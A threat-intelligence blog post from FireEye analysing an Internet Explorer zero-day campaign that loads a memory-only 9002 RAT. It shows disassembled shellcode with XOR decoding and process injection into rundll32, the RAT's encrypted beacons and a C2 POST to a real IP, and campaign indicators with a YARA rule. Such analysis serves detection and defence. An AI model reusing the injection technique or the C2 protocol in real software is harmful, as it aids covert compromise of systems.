Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method

Recently, we discovered a new IE zero-day exploit in the wild, which has been used in a strategic Web compromise. Specifically, the attackers inserted this zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy. **We have identified relationships between the infrastructure used in this attack and that used in Operation DeputyDog**. Furthermore, the attackers **loaded the payload used in this attack directly into memory without first writing to disk** – a technique not typically used by advanced persistent threat (APT) actors. This technique **will further complicate network defenders' ability to triage compromised systems, using traditional forensics methods.**

Enter Trojan.APT.9002

On November 8, 2013 our colleagues **Xiaobo Chen** and **Dan Caselden** posted about a **new Internet Explorer o-day exploit** seen in the wild. This exploit was seen used in a strategic Web compromise. The exploit chain was limited to one website. There were no iframes or redirects to external sites to pull down the shellcode payload.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, we were able to retrieve the payload dropped in the attack. This payload has been identified as a variant of Trojan.APT.9002 (aka Hydraq/McRAT variant) and runs in memory only. **It does not write itself to disk, leaving little to no artifacts that can be used to identify infected endpoints.**

Specifically, the payload is shellcode, which is decoded **and directly injected into memory after successful exploitation** via a series of steps. After an initial XOR decoding of the payload with the key "0x9F", an instance of rundll32.exe is launched and injected with the payload using CreateProcessA, OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.

🛠 OllyDbg - iexplore.exe - [CPU -	thread 00000D04]
C File View Debug Plugins Option	s Window Help
	→ Ln E Me Th Wi Ha Cp Pa St Br Re Tr
04387D68 🗸 EB 10	JMP SHORT 04387D7A
04387D6A 5B	POP EBX
04387D6B 4B	DEC EBX
04387D6C 33C9	XOR ECX,ECX
04387D6E 66:B9 8C01	MOU CX,18C
04387D72 80340B 9F	XOR BYTE PTR [EBX+ECX],9F
04387D76 ^ E2 FA	LOOPD SHORT 04387D72
04387D78 "EB 05	JMP SHORT 04387D7F

Figure 1 – Initial XOR decoding of shellcode, with key '0x9F'

81297050	C787 7975656b	MOUL DHOPD PTP FEDIA 64657579		
04307DE9	G707 72730E04	100 DWORD FIR [EDI],040E7572		EAX 0000000
04387DEF	C747 04 6C6C33	MOU DWORD PTR [EDI+4],32336C6C		ECX 0000000
04387DF6	C747 08 000000	MOU DWORD PTR [EDI+8].0		EDV 0200E440
04387DED	52	PUSH EDX		
04007010	52			EBX 020BF0CC
04387DFE	53	PUSH EBX		ESP 020BF0A4
04387DFF	6A 88	PUSH 0		ERP 84387EDB
84387E81	68 88	PUSH 8		ECT 70000400 house100 70000400
010075 00	60 Bb			E21 10805050 Ketue135.10805050
04387E03	OH 04	PUSH 4		EDI 020BF120 ASCII "rund1132"
04387E05	6A 88	PUSH 0		
04387E07	6A 00	PUSH 0		EIP 04387E0E
04387E09	6A 88	PUSH 0		C B FS BB23 32bit B/FFFFFFF)
84387E8B	57	PUSH EDI		0 0 10 0020 02010 $0(FFFFFFF)$
010075.00	60.00	PUCH A		P 1 C2 NAIR SSDIC N(FFFFFFFF)
04387E00	04 00	LO2N 0		A 0 SS 0023 32bit 0(FFFFFFFF)
04387E0E	FF55 10	CALL DWORD PTR [EBP+10]	kerne132.CreateProcessA	Z 1 DS 0023 32bit 0(FFFFFFFF)
岛赴387F11	884424 AC	MOUL FAX DWORD PTR [FSP+4C]		C A FC AGOD ADELE TEED TAGAGEET

04387E52 04387E56	884424 68 50	MOV EAX, DWORD PTR [ESP+68] PUSH EAX	I					
04387E57	FF55 18	CALL DWORD PTR [EBP+18]	kerne132.WriteProcessMemory 📕					
04387E5A	6A 00 -	PUSH 0						
04387E5C	6A 00	PUSH 0						
04387E5E	66 88	A HSIIG				*		
SS:[04387	7EF3]=7C802213 (k	ernel32.WriteProcessMemory))					
Address	Hex dump	Disassembly		Comment /	02 0BF 0B8	000005B0		
04387F0B	90	NOP			02 OBF OBC	00090000		
04387F0C	🗸 EB 10	JMP SHORT 04387F1E			02 0BF 0C 0	04387F0B		
04387F0E	5B	POP EBX			02 0BF 0C4	00008000		
04387F0F	48	DEC EBX			02 0BF 0C8	00000000		
04387F10	3309	XOR ECX,ECX			02 OBF OCC	<u>00000044</u>		
04387F12	66:B9 3777	MOU CX,7737			02 0BF 0D 0	00000000		
04387F16	80340B 01	XOR BYTE PTR [EBX+ECX],1			02 0BF 0D 4	00000000		

04387E6D	50	PUSH EAX				
04387E6E	FF55 1C	CALL DWORD PTR [EBP+1C]	kernel32.	Crea	ateRemoteT	hread
04387E71	81C4 00050000	ADD ESP,500				
04387E77	83C4 3C	ADD ESP,3C				
04387E7A	8B6D 20	MOV EBP, DWORD PTR [EBP+20]				
04387E7D	8BE5	MOV ESP,EBP				
04387E7F	3300	XOR EAX,EAX				-
04387E81	33DB	XOR EBX,EBX				
04387E83	3309	XOR ECX,ECX				
04387E85	33D2	XOR EDX,EDX				
04387E87	RF 02000000	MOULEST 2				×
SS:[0438]	7EF7]=7C8104BC (k	erne132.CreateRemoteThread)				
				_		
Address	Hex dump	Disassembly	Comment	^	02 0BF 0B 0	000005B0
Address 04387F0E	Hex dump 5B	Disassembly POP EBX	Comment	^	02 0BF 0B 0 02 0BF 0B4	000005B0 00000000
Address 04387F0E 04387F0F	Hex dump 58 48	Disassembly POP EBX DEC EBX	Comment	^	02 0BF 0B 0 02 0BF 0B 4 02 0BF 0B 8	000005B0 00000000 00000000
Address 04387F0E 04387F0F 04387F10	Hex dump 58 48 33C9	Disassembly POP EBX DEC EBX XOR ECX,ECX	Comment	^	02 0BF 0B 0 02 0BF 0B4 02 0BF 0B8 02 0BF 0B8	000005B0 00000000 00000000 00000000 00090000
Address 04387F0E 04387F0F 04387F10 04387F10 04387F12	Hex dump 5B 4B 33C9 66:B9 3777	Disassembly POP EBX DEC EBX XOR ECX,ECX MOV CX,7737	Comment	^	02 0BF 0B 0 02 0BF 0B 4 02 0BF 0B 8 02 0BF 0B 0 02 0BF 0B 0 02 0BF 0C 0	00000580 00000000 00000000 00090000 00090000
Address 04387F0E 04387F0F 04387F10 04387F12 04387F12	Hex dump 5B 4B 33C9 66:B9 3777 80340B 01	Disassembly POP EBX DEC EBX XOR ECX,ECX MOV CX,7737 XOR BYTE PTR [EBX+ECX],1	Comment	^	92 9BF 9B 9 92 9BF 9B 4 92 9BF 9B 8 92 9BF 9BC 92 9BF 9C 9 92 9BF 9C 9	00000580 00000000 00000000 00090000 00090000 000000
Address 04387F0E 04387F0F 04387F10 04387F12 04387F16 04387F16	Hex dump 5B 4B 33C9 66:B9 3777 80340B 01 ^ E2 FA	Disassembly POP EBX DEC EBX XOR ECX,ECX MOU CX,7737 XOR BYTE PTR [EBX+ECX],1 LOOPD SHORT 04387F16	Comment	~	02 9BF 9B 9 02 9BF 9B 4 02 9BF 9B 8 02 9BF 9B 0 02 9BF 9C 9 02 9BF 9C 4 92 9BF 9C 8	

Figure 2 – Shellcode launches rundll32.exe and injects payload

After transfer of control to the injected payload in rundll32.exe, the shellcode is then subjected to two more levels of XOR decoding with the keys '0×01', followed by '0x6A'.

00090003	5B	POP EBX
00090004	4B	DEC EBX
00090005	3309	XOR ECX,ECX
00090007	66:B9 3777	MOV CX,7737
0009000B	<mark>r→80340B 01</mark>	XOR BYTE PTR [EBX+ECX],1
0009000F	^└E2 FA	LOOPD SHORT 0009000B
00090011	~ EB 05	JMP SHORT 00090018
00090013	E8 EBFFFFFF	CALL 00090003

Figure 3- Decoding shellcode with XOR key '0×01'

0009000B	80340B 01	XOR BYTE PTR [EBX+ECX],1
0009000F	^ E2 FA	LOOPD SHORT 0009000B
00090011	🗸 EB 05	JMP SHORT 00090018
00090013	E8 EBFFFFFF	CALL 00090003
00090018	3309	XOR ECX,ECX
0009001A	~ EB 02	JMP SHORT 0009001E
0009001C	~ EB 05	JMP SHORT 00090023
0009001E	E8 F9FFFFFF	CALL 0009001C
00090023	58	POP EAX
00090024	8300 11	ADD EAX,11
00090027	8030 6A	XOR BYTE PTR [EAX],6A
0009002A	40	INC EAX
0009002B	41	INC ECX
00090020	81F9 1B770000	CMP ECX,771B
00090032	<u>^ 75 F3</u>	JNZ SHORT 00090027

Figure 4 – Decoding shellcode with XOR key '0x6A'

Process execution is then transferred to the final decoded payload, which is a variant of the 9002 RAT.

00090290	6A 40	PUSH 40	💸 OllyDbg - rundll32.exe - [CPU	- thread 00000FDC]
0009029E 00000203	68 00100000 FF77 04	PUSH 1000 PUSH DWDRD PTR (EDI+h)	C File View Debug Plugins Option	is Window Help
00090206	6A 88	PUSH 0		La E Me Th Wi
000902A8	FFD0	CALL EAX	0000000	
000902AA	58	PUSH EAX		CMP AL 0
000902HD 000902AC	83C7 88	ADD EDI.8	00AC0007 0000	ADD BYTE PTR [EAX],AL
000902AF	57	PUSH EDI	00AC0009 100400	ADC BYTE PTR [EAX+EAX]
000902B0	E8 84FDFFFF	CALL 88898839	00AC000C 00E0	ADD AL,AH
00090285	58		00AC000E BC 00000010	MOU ESP,1000000
00078200	TTEO		00AC0013 40	INC EAX

Figure 5 – Transfer of process execution to final decoded payload

The fact that the attackers used a non-persistent first stage payload suggests that they are confident in both their resources and skills. As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations. If the attacker did not immediately seize control of infected endpoints, they risked losing these compromised endpoints, as the endpoints could have been rebooted at any time – thus automatically wiping the in-memory Trojan.APT.9002 malware variant from the infected endpoint.

Alternatively, the use of this non-persistent first stage may suggest that the attackers were confident that their intended targets would simply revisit the compromised website and be re-infected.

Command and Control Protocol and Infrastructure

This Trojan.APT.9002 variant connected to a command and control server at 111.68.9.93 over port 443. **It uses a non-HTTP protocol as well as an HTTP POST for communicating with the remote server.** However, the callback beacons have changed in this version, in comparison to the older 9002 RATs.

The older traditional version of 9002 RAT had a static 4-byte identifier at offset 0 in the callback network traffic. This identifier was typically the string "9002", but we have also seen variants, where this has been modified – such as the 9002 variant documented in the **Sunshop campaign**.

A Follow TCP Stream																			
[-Stream Content -																		
	00000000 00000010	39 ff	30 00	30 00	32 00	0C 00	$\begin{array}{c} 00\\ 11 \end{array}$	00 00	00 00	08	00	00	00	19	ff	ff	ff	9002	

Figure 6 – Traditional 9002 RAT callback beacon

In contrast, the beacon from the **diskless 9002 payload** used in the current IE o-day attack is **remarkably different** and uses a dynamic 4-byte XOR key to encrypt the data. This 4-byte key is present at offset 0 **and changes with each subsequent beacon**. **FireEye labs is aware that the 4-byte XOR version of 9002 has been in the wild for a while and is used by multiple APT actors, but this is the first time we've seen it deployed in the diskless payload method.**

Hiew: 9002	_beacon	L1													- 🗆 ×
9002_bea	acon 1		↓FRO -							- 00	<u> 1006</u>	1000	Hiew	8.30	CoSEN
10000000:	F9 F8	9C	7D.F8	F8	9C	7D.F5	F8	9C	7D.F1	F8	9C	7D	- °£> (••£>J	°£>±°£>
10000010:	FØ EA	8D	5D.71	F7	9C	7D.F9	F8	9C	7D.F9	F8	9C	7D -	≣Ωì]q	י <£≫י	•eE> •eE>
10000020:	F9 F8	9C	7D.F9	F8	9C	7D.F9	F8	9C	7D.F9	F8	9C	7D -	••£>	• { }••	•eE> •eE>
10000030:	F9 F8	9C	7D.F9	F8	9C	7D.F9	F8	9C	7D.F9	F8	9C	7D	••£>	• 6 <u>5</u> •	oE> • oE>
10000040:	F9 F8	9C	7D.F9	F8	9C	7D.F9	F8	9C	7D.EØ	07	63	82	• • E > •	• (3 • •	°£}α•cé
10000050:	06 F8	9C	7D.F9	E9	9C	7D.							€0E>	•8E>	
Hiew: 9002	_beacor	1_2													- 🗆 ×
Hiew: 9002	_beacor acon_2	1_2	↓FR0 ·							0(3000	<u>3000</u>	Hiew	8.30	- 🗆 🗙
Hiew: 9002 9002_be	_beacor acon_2 32 36	1_2 59	↓FRO FB.03	36	59	- FB.ØE	36	59	FB.ØA	0(36	300(59	3000 <mark>FB</mark>	Hiew 3 <mark>6¥√</mark>	8.30 64.J	_ □ × 3 <c>SEN 16¥ √06¥ √</c>
Hiew: 9002 9002_be 10000000 10000010	_beacor acon_2 02 36 0B 24	_2 59 48	↓FR0 FB.03 DB.5A	36 38	59 59		36 36	59 59	FB.0A FB.02	Ø(36 36	2000 59 59	0000 FB FB	Hiew ≥6¥√ ♂\$H	8.30 67.1 287.1	_ □ × 3 <c>SEN 36¥ \<mark>0</mark>6¥ \ 36¥ \06¥ \</c>
Hiew: 9002_be 9002_be 10000000 10000010 10000010	_beacor acon_2 92 36 0B 24 02 36	_2 59 48 59	↓FR0 FB.03 DB.5A FB.02	36 38 36	59 59 59	- FB.0E FB.02 FB.02	36 36 36	59 59 59	FB.0A FB.02 FB.02	0(36 36 36	2000 59 59 59 59	0000 FB FB FB FB	Hiew 2674 85H 85H	8.30 671 2871 671	_ □ × 3 < c > SEN 36 Y 106 Y 1 36 Y 106 Y 1 36 Y 106 Y 1 36 Y 106 Y 1
Hiew: 9002_be 9002_be 10000000: 10000010: 10000020: 10000020:	_beacor acon_2 92 36 98 24 92 36 92 36 92 36	2 59 48 59 59	↓FR0 FB.03 DB.5A FB.02 FB.02	36 38 36 36	59 59 59 59 59	FB.0E FB.02 FB.02 FB.02 FB.02	36 36 36 36	59 59 59 59 59	FB.0A FB.02 FB.02 FB.02 FB.02	00 36 36 36 36 36	000 59 59 59 59 59 59	0000 FB FB FB FB	Hiew ©6YJ 8\$H ©6YJ ©6YJ	8.30 64.1 284.1 264.1 264.1	_ □ × 3 < c > SEN 36 Y 106 Y 1 36 Y 106 Y 1 36 Y 106 Y 1 36 Y 106 Y 1 36 Y 106 Y 1
Hiew: 9002_be 9002_be 10000000 10000010: 10000020: 10000030: 10000040:	_beacor acon_2 92 36 98 24 92 36 92 36 92 36 92 36	_2 59 48 59 59 59	↓FR0 FB.03 DB.5A FB.02 FB.02 FB.02 FB.02	36 38 36 36 36	59 59 59 59 59 59	FB.0E FB.02 FB.02 FB.02 FB.02 FB.02 FB.02	36 36 36 36 36	59 59 59 59 59 59	FB.0A FB.02 FB.02 FB.02 FB.02 FB.1B	0(36 36 36 36 36 C9	3000 59 59 59 59 59 59 46	0000 FB FB FB FB 64	Hiew 6410 75H 86410 86410 86410 86410	8.30 64.1 284.1 64.1 64.1 64.1 64.1 64.1	_ □ × 3 < c > SEN 36 Y \06 Y \ 36 Y \16 F F

Figure 7 – Sample callback beacons of the diskless 9002 RAT payload

🛤 Hiew: Deco	led_900	2_b	eacon_2	2											
Decoded	_9002_)	b►	↓FWO 1	EDIT	[MO]	DE				0	000	0058	Hiew	18.	30 <
00000000 :	00 00	00	00.01	00	00	00.OC	00	00	00.08	00	00	00		8	₽
00000010:	09 12	11	20.58	ØЕ	00	00.00	00	00	00.00	00	00	00	0\$4	XЛ	
00000020:	00 00	00	00.00	00	00	00.00	00	00	00.00	00	00	00			
00000030:	00 00	90	00.00	00	00	00.00	90	00	00.00	90	00	00			
00000040:	00 00	99	00.00	00	90	00.00	90	00	00.19	FF	FF	FF			
00000050:	FF 00	90	00.00	11	00	<u>00 -</u>								- 🔨	
8															
ex Hiew: Decoded 9002 beacon 1															
💌 Hiew: Deco	led_900	2_b	eacon_'	1											
Hiew: Decoded	led_900 _9002_1	2_b b⊩	eacon_′ ↓FWO 1	I EDI 1	[M 0]	DE				0	300G	0058	Hiew	. 8.	30 <
Hiew: Decoded	ied_900 _9002_1 00_00	2_b b► ØØ	eacon_′ ↓FWO 1 00.01	EDIN ØØ	1M0) 00)E 00.0C	00	00	00.08	01 90	1000 00	0058 00	Hiew	8.	30 < 9
Hiew: Decoded Decoded 00000000000000000000000000000000	ied_900 _9002_ 00 00 09 12	2_b b► 00 11	eacon_′ ↓FWO 1 00.01 20.88	EDI 00 0F	1MO 00 00)E 00 . 0C 00 . 00	00 00	00 00	00 . 08 00 . 00	01 99 99	1000 00 00	0058 00 00	Hiew o‡∢	/ 8. ⊜ ê≭	30 (9
Hiew: Decoded Decoded 00000000000000000000000000000000	ied_900 9002 00 00 09 12 00 00	2_b 00 11 00	eacon_' JFWO 1 00.01 20.88 00.00	EDI 00 0F 00	IMO 90 90 90)E 00 . 0C 00 . 00 00 . 00	00 00 00	90 90 90	00 . 08 00 . 00 00 . 00	01 99 99 99	000 00 00 00	0058 00 00 00	Hiew 0‡4	, 8. ⊜ ê‡	30 (9
Hiew: Decoded Decoded 00000000000000000000000000000000	led_900 9002 00 00 09 12 00 00 00 00	2_b 00 11 00 00	eacon_' ↓FWO 1 00.01 20.88 00.00 00.00	EDI 00 0F 00 00	1 <u>10)</u> 00 00 00 00)E 00 - 0C 00 - 00 00 - 00 00 - 00	00 00 00 00	00 00 00 00	00 - 08 00 - 00 00 - 00 00 - 00 00 - 00	00 00 00 00 00	0000 00 00 00 00 00	3058 00 00 00 00 00	Hiew o‡4	/ 8. ⊜ ê≭	30 < ?
Hiew: Decoded Decoded 00000000000000000000000000000000	led_900 9002 00 00 09 12 00 00 00 00 00 00	2_b 00 11 00 00 00	eacon_' JFWO 1 00.01 20.88 00.00 00.00 00.00	501 00 0F 00 00 00	1 <u>mo</u> 1 90 90 90 90)E 00 . 0C 00 . 00 00 . 00 00 . 00 00 . 00	00 00 00 00	00 00 00 00	00.08 00.00 00.00 00.00 00.00 00.19	01 00 00 00 00 FF	1001 00 00 00 00 FF	3058 00 00 00 00 FF	Hiew o‡4	, 8. ⊜ ê*	30 < ?

Figure 8 – XOR decrypted callback beacons of the diskless 9002 RAT payload

The XOR decoded data always contains the static value "\x09\x12\x11\x20" at offset 16. This value is in fact hardcoded in packet data construction function prior to XOR encoding. This value most likely is the date "2011-12-09" but its significance is not known at this time.

	could feab an Tionl
pusn	eax
push	0
lea	ecx, [ebp+var_54]
push	ecx
call	sub_E16C
add	esp, OCh
lea	edx, [ebp+var_470]
push	edx
call	dword ptr ds:402D58h
mov	eax, [ebp+var_470]
mov	[ebp+var_54], eax
mov	[ebp+var_44], 20111209h
mov	[ebp+var_50], 0
mov	[ebp+var_4C], 0
mov	[ebp+var_48], 0
mov	ecx, ds:41085Ch
mov	[ebp+var_40], ecx
mov	edx, [ebp+var_54]
push	edx
mov	eax, [ebp+var_460]
sub	eax, 4
push	eax
lea	ecx, [ebp+var_50]
push	ecx
call	sub_D2B1 ; XOR_ENC_FUNC

Figure 9 – Packet data construction function showing hardcoded value

The diskless 9002 RAT payload also makes a POST request, which has also changed from the traditional version. It has Base64 stub data, instead of the static string "AA". **The User-Agent string and URI pattern remain the same however.** It uses the static string "lynx" in the User-Agent string and the URI is incremental hexadecimal values.

Traditional 9002 RAT	Diskless 9002 RAT	
POST /4 HTTP/1.1	POST /2 HTTP/1.1	
User-Agent: lynx	User-Agent: lynx	
Host: ieee.boeing-job.com	Host: 111.68.9.93:443	
Content-Length: 2	Content-Length: 104	
Connection: Keep-Alive	Connection: Keep-Alive	
Cache-Control: no-cache	Cache-Control: no-cache	

AA	wUeAKsFHgCrBR4AqwUeAKshVkQrBR4Aqw UeAKsFHgCrBR4AqwUeAKsFHgCrBR4Aqw
	UeAKsFHgCrBR4AqwUeAKsFHgCrBR4AqwUe
	AKg==

The data in the POST stub is also encrypted with a 4-byte XOR key, and when decrypted, the data is similar to the data in the non-HTTP beacon and also has the static value "\x09\x12\x11\x20".

Campaign Analysis

We previously observed 104130d666ab3f640255140007fob12d connecting to the same 111.68.9.93 IP address.

Analysis of MD5 104130d666ab3f640255140007f0b12d revealed that it shared unique identifying characteristics with 90a37e54c53ffb78969644b1a7038e8c, acbc249061a6a2fb09271a68d53567d9, and 20854f54b0d03118681410245be39bd8.

MD5 acbc249061a6a2fb09271a68d53567d9 and 90a37e54c53ffb78969644b1a7038e8c are both Trojan.APT.9002 variants and connect to a command and control server at 58.64.143.244.

MD5 20854f54bod03118681410245be39bd8 is another Trojan.APT.9002 variant. This variant connected to a command and control server at ad04.bounceme.net.

Passive DNS analysis of this domain revealed that it resolved to 58.64.213.104 between 2011-09-23 and 2011-10-21. The following other domains have also been seen resolving to this same IP address:

DOMAIN	FIRST SEEN	LAST SEEN
dll.freshdns.org	2011-12-08	2012-01-31
grado.selfip.com	2011-12-23	2012-01-10
usc-data.suroot.com	2012-02-20	2012-02-22
usa-mail.scieron.com	2011-12-01	2012-02-22

If the domain dll.freshdns.org rings a bell, it should. While covering a different Internet Explorer Zero-day (CVE-2013-3893) and the associated Operation DeputyDog campaign, we reported that the CnC infrastructure used in that campaign overlapped with this same domain: dll.freshdns.org.

Inside the in-memory version of the Trojan.APT.9002 payload used in this strategic Web compromise, we identified the following interesting string: "rat_UnInstall". **Through DTI**, we found this same string present in a number of different samples including the ones discussed above:

104130d666ab3f640255140007f0b12d 90a37e54c53ffb78969644b1a7038e8c acbc249061a6a2fb09271a68d53567d9 Based on this analysis, all of these samples, including the in-memory variant, can be detected with the following simple YARA signature:

```
rule FE_APT_9002_rat
{
    meta:
        author = "FireEye Labs"
    strings:
        $mz = {4d 5a}
        $a = "rat_UnInstall" wide ascii
        condition:
        ($mz at 0) and $a
}
```

We also found the following strings of interest present in these above 9002 RAT samples (excluding the in-memory variant):

McpRoXy.exe SoundMax.dll

These strings were all observed and highlighted by Bit9 here. As Bit9 notes in their blog, Trojan.APT.9002 (aka Hydraq/McRAT) was also used in the original Operation Aurora campaign, and the "rat_UnInstall" string can be found in the original Aurora samples confirming the lineage.

Conclusions

By utilizing strategic Web compromises along with in-memory payload delivery tactics and multiple nested methods of obfuscation, this campaign has proven to be exceptionally accomplished and elusive. APT actors are clearly learning and employing new tactics. **With uncanny timing and a penchant for consistently employing Zero-day exploits in targeted attacks, we expect APT threat actors to continue to evolve and launch new campaigns for the foreseeable future.** Not surprisingly, these old dogs continue to learn new tricks.

FireEye Labs would like to thank iSIGHT Partners for their assistance with this research.

This entry was posted in Exploits, Targeted Attack, Threat Intelligence, Threat Research, Vulnerabilities

by Ned Moran, Sai Omkar Vashisht, Mike Scott and Thoufique Haq. Bookmark the permalink.